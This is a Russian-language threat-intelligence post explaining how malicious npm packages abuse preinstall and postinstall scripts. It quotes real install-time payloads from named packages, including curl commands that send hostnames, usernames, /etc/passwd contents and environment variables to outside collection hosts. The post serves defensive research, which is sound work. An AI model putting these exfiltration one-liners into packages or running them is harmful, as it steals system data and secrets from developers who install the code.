[ << ALL_FEED ]

Node JS. Вредоносная активность на стадии установки

Ещё в группе «Общее»

Node JS. Вредоносная активность на стадии установки

В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.

В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле package.json в секции scripts:

{
  "name": "<from-ptescalator-with-love>",
  "version": "1.0.0",
  "description": "Example config of package.json for demonstration-purposes",
  "main": "hello.js",
  "scripts": {
    "preinstall": "echo \"I will be run at pre-install stage\"",
    "install": "echo \"I will be run at install stage\"",
    "postinstall": "echo \"I will be run at post-install stage\""
  }
}
Code language: JSON / JSON with Comments (json)


Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎

Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:

🫥 Запустить js-код

atlas-websocket@33.9.9, postinstall:
node index.js
Code language: plaintext (plaintext)


wokes@1.0.0, postinstall:
node cli/setup-security.js
Code language: plaintext (plaintext)


🫥 Исполнить команду системным интерпретатором:

autogestion-aprendizaje@1.0.4, preinstall, передача hostname:
echo "No tests" && curl "http://[REDACTED].net/?NPM=$(hostname)&<template>"
Code language: Bash (bash)


bsee-shared-hmd@1.0.6, preinstall, кража /etc/passwd и получение hostname:
sh -c 'curl -X POST -d "user=$(whoami)&host=$(hostname)&passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/[REDACTED]'
Code language: plaintext (plaintext)

storyblok-rich-text-astro-renderer-workspace@99.99.99, postinstall, кража переменных окружения:
curl -X POST https://[REDACTED].oastify.com --data "$(env)"
Code language: Bash (bash)

arkoselabs@99.9.13, preinstall, кража переменных окружения, /etc/passwd, hostname и имени пользователя:
curl --data-urlencode "info=$(hostname && whoami && cat /proc/self/environ && cat /etc/passwd)" http://[REDACTED].oast.me"
Code language: Bash (bash)


Если пост соберет 1000 сердечек🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.

#ti #scs #pyanalysis
@ptescalator

Ещё от ti_author

Ещё от ti_author

Ещё в группе «Общее»